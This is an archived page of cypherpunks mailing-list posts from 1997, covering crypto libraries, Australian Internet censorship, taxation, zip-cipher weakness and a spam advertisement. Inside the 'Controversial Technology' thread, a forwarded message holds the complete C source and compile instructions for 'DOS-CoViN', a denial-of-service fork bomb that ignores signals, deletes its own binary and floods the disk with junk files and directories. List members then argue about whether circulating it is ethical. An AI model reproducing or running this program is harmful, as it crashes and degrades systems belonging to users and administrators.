- cypherpunks-legacy - lists.cpunks.org

vendors of royalty free libraries of PEM or PGP.
by Kevin Brisco 17 Dec '03

17 Dec '03

Hello, Has anybody heard of vendors of royalty free libraries of PEM or PGP? Tzachi Sharfman.

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Controversial Technology
by Jim Choate 17 Dec '03

17 Dec '03

Hi Jack, I have removed your subscription to the Experimental Science Instrumentation mailing list. I would however like to point out that security through obscurity (ie ignorance) is not security. It is self-delusion. One can not protect them selves reliably from the many consequences of technology and society via ignorance. That which you don't know not only can hurt you but can kill you. ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage(a)ssz.com | | 512-451-7087 | |____________________________________________________________________| Forwarded message: > From owner-tesla(a)ssz.com Mon Jul 21 21:13:16 1997 > Date: Mon, 21 Jul 1997 21:13:15 -0500 > Message-Id: <199707220213.VAA12566(a)einstein.ssz.com> > To: owner-tesla(a)ssz.com > From: owner-tesla(a)ssz.com > Subject: BOUNCE tesla(a)ssz.com: Admin request > > >From tesla-owner(a)ssz.com Mon Jul 21 21:13:13 1997 > Received: from Base.Basix.COM (Basix.COM [198.49.101.15]) by einstein.ssz.com (8.6.12/8.6.9) with SMTP id VAA12560 for <tesla(a)ssz.com>; Mon, 21 Jul 1997 21:13:11 -0500 > Date: Mon, 21 Jul 1997 21:13:11 -0500 > Message-Id: <199707220213.VAA12560(a)einstein.ssz.com> > Received: from sl-2.Basix.COM by Base.Basix.COM (MX V4.2 VAX) with SMTP; Mon, > 21 Jul 1997 19:21:36 MST > X-Sender: JHERRON(a)BASIX.COM > X-Mailer: Windows Eudora Light Version 1.5.2 > MIME-Version: 1.0 > Content-Type: text/plain; charset="us-ascii" > To: tesla(a)ssz.com > From: JACK HERRON <JHERRON(a)BASIX.COM> > Subject: Re: fork problem, fix? (fwd) > > Jim Choate, > There is nothing ethical about fabricating destructive programs and > distributing them to the irresponsible, while hiding like a coward. Please > unsubscribe me. > > Jack Herron > > > > > > > At 08:05 AM 7/21/97 -0500, you wrote: > >Forwarded message: > >>From owner-cypherpunks(a)ssz.com Mon Jul 21 07:39:29 1997 > >Date: Mon, 21 Jul 1997 06:55:08 +0200 (MET DST) > >Message-Id: <199707210455.GAA29231(a)basement.replay.com> > >To: cypherpunks@toad.com.redhat-list@redhat.com > >From: nobody(a)replay.com (Name Withheld by Request) > >Organization: Replay and Company UnLimited. > >XComm: This message was automaticly Remailed by an Anonymous Remailer. > >XComm: Report problems or inappropriate use to <postmaster(a)replay.com> > >subject: fork problem, fix? > >Sender: owner-cypherpunks(a)ssz.com > >Precedence: bulk > >X-Mailing-List: cypherpunks(a)ssz.com > >X-List-Admin: list(a)ssz.com > >X-Loop: ssz.com > > > >/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the > > bugtraq > > > > This program is a beefed up classic denial of service fork()'er :) > > > > Compilation: > > on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c > > on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c > > > > on my linux, I can compile it with both -DBSD_C and -DSYSV_C > > > > if your not sure, you can experiment, or compile it > > without any -D'efines > > > > > > In the future: > > SunOS signals ignored. > > Creation of random symlinks for more gory destruction. > > Using advanced technology coding to make the hard drive > > blow up with a loud boom and the console explode > > causing a nuclear meltdown. > > > > > > > > Direct All Suggestions And Flames to: Vio > > > > NOTE: this program is provided for educational purposes only, its author > > will not take any responsibility for any stupid things you will > > decide to do. > > > > this has been tested, but not the latest version of it. > > > > .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a. > > $$' s `$' s `$ $ $ $ `$ $$ > > $$ $ $ $ $ $ $ $ $$ > > $$ $ $ p $ h $ e $ a $ r $ $a. $$ > > $$ $ssss$ $ $ $ $ $ $$$ $$ > > $$ $ $ $ $. $ ,$ $ $$$ $$ > > $$. $ ,$. $ ,$$. ,$$ .$ $$$ $$ > > `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$' > > > >*/ > > > > > >#include <stdio.h> > >#include <stdlib.h> > >#include <sys/types.h> > >#include <sys/stat.h> > >#include <fcntl.h> > >#include <unistd.h> > >#include <signal.h> > > > >#define MAX_FILELEN 100 /* The _actual_ max length */ > >#define MAX_DIRLEN 10 > > > >#define START_DIR "/tmp" /* This can be substituted for any directory */ > > /* that you have write access to */ > > > >void dirs_generator(void); > > > >main(int argc, char *argv[]) > >{ > >int fp; > >char *buff; > >char chr; > > > >unlink(argv[0]); > > > >/* You might wanna ignore all the signals you can ignore.. */ > >signal(SIGINT, SIG_IGN); /* If any of the signals don't work */ > >signal(SIGHUP, SIG_IGN); /* on the system you are compiling */ > >signal(SIGTERM, SIG_IGN); /* them on, just erase that line */ > >signal(SIGALRM, SIG_IGN); > >signal(SIGBUS, SIG_IGN); > >signal(SIGFPE, SIG_IGN); > >signal(SIGILL, SIG_IGN); > >signal(SIGIOT, SIG_IGN); > >signal(SIGPIPE, SIG_IGN); > >signal(SIGQUIT, SIG_IGN); > >signal(SIGSEGV, SIG_IGN); > >signal(SIGTRAP, SIG_IGN); > >signal(SIGUSR1, SIG_IGN); > >signal(SIGUSR2, SIG_IGN); > > > >#ifdef BSD_C > > signal(SIGPROF, SIG_IGN); > > signal(SIGSTOP, SIG_IGN); > > signal(SIGTSTP, SIG_IGN); > > signal(SIGTTIN, SIG_IGN); > > signal(SIGTTOU, SIG_IGN); > > signal(SIGVTALRM, SIG_IGN); > > signal(SIGXCPU, SIG_IGN); > > signal(SIGXFSZ, SIG_IGN); > >#endif > > > >#ifdef SYSV_C > > signal(SIGPOLL, SIG_IGN); > > signal(SIGPWR, SIG_IGN); > >#endif > > > >if(fork()) { > > printf("Now crashing and blowing up this system.. have a nice day\n"); > > printf("You can safely logout, and let the proggie do its work\n"); > > printf("or you can stick around and watch lag go from 0 to bitch\n"); > > printf("in a matter of seconds\n"); > > printf(" --CoViN \n"); > > exit(0); > > } > >fp=open("/tmp/.foo",O_WRONLY|O_CREAT); > >if(fork()) { > > while(1) { > > fork(); > > buff = malloc(64000); > > write(fp, buff, 64000); > > system("uptime"); > > } > > } > >dirs_generator(); > >} > > > > > >void dirs_generator(void) > >{ > >char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. "; > >char fl[MAX_FILELEN]; > >char dir[MAX_DIRLEN]; > >int i; > >int flen; > > > >printf("Making dirs..\n"); > >chdir(START_DIR); > > > >fork(); /* For the simplicity of the code.. we also want more dir's from */ > >fork(); /* the START_DIR */ > >fork(); > > > >while(1) { > > fork(); > > flen= (rand() % MAX_FILELEN) - 1; > > for(i=0; i<flen; i++) > > fl[i] = alph[rand() % strlen(alph)]; > > fl[MAX_FILELEN-1]=0; > > i=open(fl,O_WRONLY|O_CREAT); > > write(i,"fuck you! CoViN",16); > > close(i); > > > > flen= (rand() % MAX_DIRLEN) - 1; > > for(i=0; i<flen; i++) > > dir[i] = alph[rand() % strlen(alph)]; > > dir[MAX_DIRLEN-1]=0; > > mkdir(dir,0); > > chdir(dir); > > } > >} > > > > > ----------------------------------------- > Jack Herron - Editor > Society for Amateur Scientists > 8118 E. 20th St. > Tucson, AZ 85710 USA > jherron(a)basix.com > 520 885-6933 >

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YAMPR
by L. Todd Masco 17 Dec '03

17 Dec '03

(Yet Another May Prediction Realized) The text of a "digital stalking bill" was just sent to Cyberia-l. -- L. Todd Masco | "Which part of 'shall not be infringed' didn't cactus(a)bb.com | you understand?"

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CD Rom - Email List
by jack＠intmktgrp.com 17 Dec '03

17 Dec '03

25 Million Addresses On CD Rom - Only $199.00 500+ Reports, Books, & Legal Forms (With Reprint Rights To Put You Into Your Own Home-Based Business Overnight) Only $199.00 Target Email Address Lists - Call For Quotation VISA & Mastercard Accepted - Call 812-597-1000

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Re: Bad govt represents bad people?
by sw＠tiac.net 17 Dec '03

17 Dec '03

Tim says: >To clarify my meaning, "people deserve the government they get" is >short for saying that the evil, repressive, godforsaken government >than everyone complains about is mostly their own doing. Majority >rule, the will of the herd, etc. > >I certainly wasn't saying that *all* people asked for it. Right, and I was saying maybe not even majority rule or will of the herd, but a system with a dynamic of its own. People get the government they don't know how to stop. I don't know what to expect of everyday people when even the brightest anarchists haven't found a working solution. --Steve - - - - - - - - - - It is said a Shao Lin priest can walk through walls. Looked for, he cannot be seen. Listened for, he cannot be heard. Touched, he cannot be felt.

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Re: Government and Repression
by wcs＠anchor.ho.att.com 17 Dec '03

17 Dec '03

We're getting fairly far off topic here..... if we're going to talk about anarchy, some spontaneous order would be useful :-) > I disagree: In the U. S. we have real repression. Current real total > taxation is approx. 45%. I believe the serfs of Europe only paid a > small amount above 1/12 of their production to their lords. That's a > little in excess of 8.3% We revolted against English rule for taxation > that was tiny compared to current burden. Fairly typical taxation during English serfdom was two days labor per week for the landlord. 40% of an average US worker's work week is also two days, though serfs probably worked 6-7 days most weeks, less in winter. Serfs were generally not allowed to leave, while Americans are. Serfs could be drafted when there were wars, so can Americans. Control by the lords came partly from conquest, and partly (especially in France) from imposition of fealty in return for protection from invaders. Some of the somewhat vaguely cypherpunk-related issues are: - Serfdom and the social structures around it had troubles dealing with the emergence of merchant classes; non-government- controlled trade in an information economy may be similarly disruptive. (Serfdom was also seriously disrupted by the labor shortages following the Black Death, which gave lots more power and mobility to the remaining laborers.) - Health care insurance is becoming increasingly used as a technique for keeping track of all citizens, especially kids who are otherwise hard to trace - not only has Clinton proposed a health care smart card and a not-an-immigrant permission-to-work card, the administration's health/pension regulation bureaucrats have been demanding SS numbers on dependents' insurance claims. One of the big reasons is to keep people from going into the underground economy, but another is presumably the draft - current draft reservation is massively evaded, though that becomes much more difficult if you have databases of kids. Bill

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Australia to Censor the Net
by apache＠gargoyle.apana.org.au 17 Dec '03

17 Dec '03

Electronic Frontiers Australia Inc. Media Release July 20th 1997 GOVT INTERNET PROPOSALS -- THREAT TO FREE SPEECH; BURDEN ON ISPS Online civil liberties group Electronic Frontiers Australia has warned that the proposals for Internet regulation released this week by the Minister for Communications and the Arts, Senator Alston, and the Attorney-General, Mr Williams, would threaten free speech and place an impossible burden on Internet service providers. EFA Chair Kimberley Heitman said the Government had done well to avoid the totalitarian censorship recommendations of the Senate Select Committee in its June 1997 report. However the proposals were still "an unnecessary intrusion by Big Brother". There are several problems with the suggested principles for legislation. The principles make Internet Service Providers (ISPs) responsible for content created and published by others. "It is quite simple.", said Mr Heitman. "Content providers should be responsible for content. The whole concept of making service providers responsible for content is bizarre. It is as senseless as making paper-makers responsible for books published using their paper". The principles require ISPs to make judgements about how material published by their users would be classified by the Office of Film and Literature Classification. "The recent Rabelais case in the Federal Court illustrates the complexity of the OFLC classification system", said Mr Heitman. "But now ISPs, whose skills are primarily technical, are expected to enter the legal minefield of censorship classification. This is an extraordinary burden which can only result in perfectly legal material being removed 'just in case'." The principles do not explain how jurisdictional issues resulting from States passing their own censorship laws would be resolved. "Requiring ISPs to take into account whether material would 'otherwise be illegal under a State or Territory law' could be a total nightmare, especially for national service providers", commented Mr Heitman. "It would effectively allow individual States to impose their values on the entire country". The principles fail to take into account that clearly objectionable material such as child pornography is already illegal under existing law, or that the vast bulk of "adult" material is sourced from outside Australia. "The Clinton administration in the USA has just abandoned attempts to regulate the Internet - yet Australia seems to be trying to do the impossible all by itself", said Mr Heitman. There is still no evidence that there is any problem for which legislation of this kind is the solution. User education and community awareness are important, but these can not usefully be compelled by legislation. ENDS -------------------------------------------------------------- Electronic Frontiers Australia Inc -- http://www.efa.org.au/ representing Internet users concerned with on-line freedoms -------------------------------------------------------------- Media Contacts Kimberley Heitman Phone: +61 8 9458 2790 Email: kheitman(a)it.com.au Danny Yee Phone (home): +61 2 9955 9898 Phone (work): +61 2 9351 5159 Email: danny.yee(a)efa.org.au -------------------------------------------------------------- BACKGROUND DCA principles: http://www.dca.gov.au/policy/fwork_4_online_svces/framework.htm EXERPT: [snip] PRINCIPLES FOR A REGULATORY FRAMEWORK FOR ON-LINE SERVICES IN THE BROADCASTING SERVICES ACT 1992 1. The Broadcasting Services Act 1992 (BSA) should be amended to establish a national framework of effective industry self-regulation for on-line service providers, supervised by the Australian Broadcasting Authority (ABA), in relation to content transmitted through on-line networks. Objectives 2. The regulatory regime should aim to : (a) encourage on-line service providers to respect community standards in relation to material published by means of their service; and (b) encourage the provision of means for addressing complaints about content published by means of an on-line services; and (c) ensure that on-line service providers place a high priority on the protection of minors from exposure to material which may be harmful to them. 3. The legislation should encourage the development of self-regulatory mechanisms and in particular avoid inhibiting the growth and development of the on-line services industry by placing unreasonable regulatory constraints on the on-line services provider industry regarding the publication and transmission of material. 4. The legislation should codify the responsibilities of an on-line service provider in relation to objectionable content and other content that is of concern to the community accessed by means of the on-line service provider's network. [snip] -- .////. .// Charles Senescall apache(a)quux.apana.org.au o:::::::::/// apache(a)bear.apana.org.au apache(a)gargoyle.apana.org.au >::::::::::\\\ Finger me for PGP PUBKEY Brisbane AUSTRALIA '\\\\\' \\ Apache

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No Subject
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Hey, has anyone taken a look at this file on RSA's ftp? ftp://ftp.rsa.com/pub/smail/smailbeta10.zip It is encrypted using only the zip cypher, as far as I can tell. There is a known plaintext attack against this cypher by Biham and Kocher. There are files compressed and encrypted in the archive that are freely available online. A known plaintext attack would seem easy but the files are compressed with a version 5.0 for NT. Is the encryption algorithm in this product different (more secure) than in other versions? Is it a good idea for RSA to distribute their software like this? Would it be legal to export (intentionally or not) files while encrypted and seemingly unusable if the algorithm used to encrypt could be easily broken? Cheers! --Anonymous

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Re: Controversial Technology (fwd)
by Jim Choate 17 Dec '03

17 Dec '03

Forwarded message: > Date: Mon, 21 Jul 1997 21:48:45 -0700 (PDT) > From: William Beaty <billb(a)eskimo.com> > Subject: Re: Controversial Technology > > I would however like to point out that security through obscurity (ie > > ignorance) is not security. It is self-delusion. One can not protect them > > selves reliably from the many consequences of technology and society via > > ignorance. That which you don't know not only can hurt you but can kill you. > > I don't understand. You hate unix security, and the solution is to > screw up as many systems as possible? That's like hating cars that lack > armored glass, and going out to smash windshields every night. > Destructive acts say much more about those who perform them than they do > about any weakness of the victims. No, I hate unix security and it behooves me to know as much about it as possible so that I may be better informed about its limitations and protect myself and my property from those out there who hate unix security and plan on using it to get something from me without my prior permission. So studying the dynamics of auto glass breaking is equivalent to automotive vandalism? I bet auto engineers might just object to that generalization. If I own the car it might be in my best interest to know something about auto glass to decide whether what I have is enough or should I really buy that nifty keen security system. Calling the cops and asking them how most cars get broken into does not lead to the conclusion that I am going to break into cars. "A>B" is not equivalent to "B>A". Discussion toward understanding something is not the same as doing it. If it were we would all be rapists and murders. > What exactly does computer security have to do with amateur science? Computer science isn't an amateur science? I have to strongly disagree and I suspect that most computer hobbyist would as well. I don't know about you but I use my computer for science (and sometimes it's hooked up to other computers via the net) and therefore find it useful to understand how they work. Both for when I want to get them to do something specific as well as when trying to figure out why the silly thing don't work the way it is supposed to. This list supports the use of computers as well as the study of them as analytical instruments or as objects of research themselves. The study of virus development is as valuable as the discussion of compiler design. > This brings up an interesting question about your overall philosophy: what > are your views on discussion of plans for bombs, weapons, poisons, etc. on > tesla list? I will attach the info file at the end so that you may review the general views of the list as well as some of my own. I have no objection to the discussion of such issues provided they are within the charter of the list. In short, discussions about how they work, how to measure various parameters (eg briance and explosives), the history of the technology, etc. Obviously you can't discuss how to measure the effectiveness of a poison, for example, if you can't first define what a poison is and how it works (otherwise how do you know what to measure?). So if somebody, for example, wanted to discuss how curari works toward the end of better understanding the human body and the measurement of its various processes there would be no objection. If you want to propose going out and actualy killing somebody, then I have a problem. > If you're all for 'em, then this is an adults-only list and I > need to remove my site info about tesla@ssz. The big kids can play all > they want, but I won't steer the little kids directly to the dangerous > stuff if I can help it. Knowledge is danger, leave them barefoot and pregnant... Do what you want, but this list is not rated and irrespective of your opinion I will continue to refuse to rate any services from SSZ. Please, don't send them to somebody who has a clue about it and can direct them to creative uses for that interest (ie visit the Polic Bomb Squad and perhaps try to get them to support some sort of activity with the kids), instead let them figure it out with their friends in the garage over a long weekend. If we're lucky one of them will survive. Would you do me a favor and auto-program the phone for 911... ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage(a)ssz.com | | 512-451-7087 | |____________________________________________________________________| (Please excuse the fact that I haven't updated all the .info files to reflect the changes going on here at TAG) Welcome to the Experimental Science Instrumentation mailing list. This list is hosted by CyberTects in Austin, Tx. If you have questions or problems please send email to 'list(a)ssz.com'. You should receive a responce shortly afterward. There is a place for a webpage on the SSZ homepage. However, currently nobody is involved in any sort of project. If interested please send a note to the list. To see what else is up at CyberTects look at http://www.ssz.com/. It ain't much, but it is home...;) This mailing list is intended for the rigorous exploration of nature. One of the primary areas of experimentation is instrumentation and data reduction. This list is intended as a resource for the advancement of knowledge in both areas. As a consequence off-topic discussions are STRONGLY avoided. This list is NOT intended for beginners. They are certainly welcome but are expected to stay out of discussions they are not experienced in. General questions are welcome from any party on relevant issues. We strongly believe the novice experimenter should be helped. Discussions at all levels are available. It is not acceptable behaviour to expound on personalities or other 'flame bait' topics. Sale and advertisment of services are permitted with due consideration of the other members of the list. Each 'ad' should appear ONLY ONCE per calendar year. The 'ad' MUST be relevant to the mailing list members and its charter topic. All responces should be by direct email. As a member of this list it is expected you pursue active experiments or projects. We would very much like to hear about what you are up to and where you are taking it. A working knowledge of diff-eq's, computer programming, basic electronics (analog & digital), physics, chemistry, safety proceedures, etc. is assumed for most discussions. The person behind the email is Jim Choate. I would like to tell you a little about myself and provide some insight into the mailing list. This list is NOT for the exploration of pseudo-science, space aliens, etc. I named the list after Nikola Tesla because I admire his accomplishments and his strong indipendant nature. I have been building 'projects' since I was a kid of 8-9, I am now 37. For seven years I built projects at Discovery Hall, a hands-on science museum in Austin, Tx. I am currently working on a hexapod robot and a high-performance rocket. I am currently a computer engineer for Tivoli - IBM as well as run my own business, CyberTects. In both cases I play with what I lovingly refer to as the 'bleeding edge'. Through CyberTects I support several hands-on technology mailing lists and two user groups. I started the list a couple of years ago with the intent of finding others who like to build 'professional' quality projects. Since that time it has grown slowly but steadily by word of mouth. The folks who participate in the mailing list are truely an impressive lot. Don't feel hesitant about starting a dialogue. Historicaly the list has been very low traffic. The majority of traffic is cross-posts from other sources. I would really like to see more discussion about current projects. "Reality is observer dependant" \ \ \\///// | | (.) (.) ===========================oOO==(_)==OOo========================== James Choate Tivoli CyberTects: SSZ Customer Support Engineer SOHO-VR-HPR-Robotics 9442 Capitol of Texas Highway North 4312 Avenue A Suite 500 Austin, TX 78759 Austin, TX 78751 Email: jchoate(a)tivoli.com Email: ravage(a)ssz.com Phone: (512) 436-8893 Phone: (512) 451-7087 Fax: (512) 345-2784 Fax: n/a WWW: www.tivoli.com WWW: www.ssz.com Modem: n/a Modem: (512) 451-7009 Pager: n/a Pager: n/a Cellular: n/a Cellular: n/a =================================================================== Political ideal: The Constitution says "Congress shall make no law..." & What happened to the 9th & 10th Amendments? Philosophy: Pantheism - the belief that everything is divine, that God is not seperate but totaly identified with the cosmos, and that God does not possess personality or transcendence. =================================================================== The end of our exploring will be to arrive at where we started, and to know the place for the first time. T.S. Eliot =================================================================== Chance favors the prepared mind. Anon. ===================================================================

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Re: OFFSHORE DIGITAL BANKS
by John Young 17 Dec '03

17 Dec '03

Responding to msg by tcmay(a)netcom.com (Timothy C. May) on Tue, 30 Aug 12:12 PM >The link with crypto is an important one: with the loss >of the U.S.S.R. as a superpower, the world is >"unipolar" in terms of real superpower force. The U.S. >can throw its weight around, encouraging compliance >with U.S. polices in most areas. Everything from >abortion policy to banking secrecy laws to key >escrow. > >(I'm not saying the U.S. threatens force against, say, >Luxembourg or Italy, just that the pressures to go >along with the U.S. New World Order are strong. Tim, would you expand the link to crypto of unipolar superpower? Maybe some of the non-US c'punks can add more. Here's my >$.02: Some folks in other countries of more afraid of the USG and national security capitalism (protection of "national interest") than some of us are. They view it as normal that the Government will advance and protect interests of its economy, including, if necessary, by military force. Those who have lived abroad know that fear of our foreign policy is greater than the US public may want to believe. Our domestic-oriented politics clouds understanding of the effects of what is perceived to be aggression against the sovereignty of other nations' culture. Other countries' drive for nuclear weapons, or alliances with those who have nuclear capabilities, is based what they think is a "real politik" necessity to the loss of being able to balance the Soviets against the US. China, as the most obvious example, is working this fear-of-the-west hard to gain support in Asia and the Middle East for its nuclear program. Smaller countries have shown in their UN votes that they might welcome increased Chinese power to offset the Soviet loss, even as they hold out hands to the US. It will be difficult to convince these skeptics that US business can compete in the world without military backing. John

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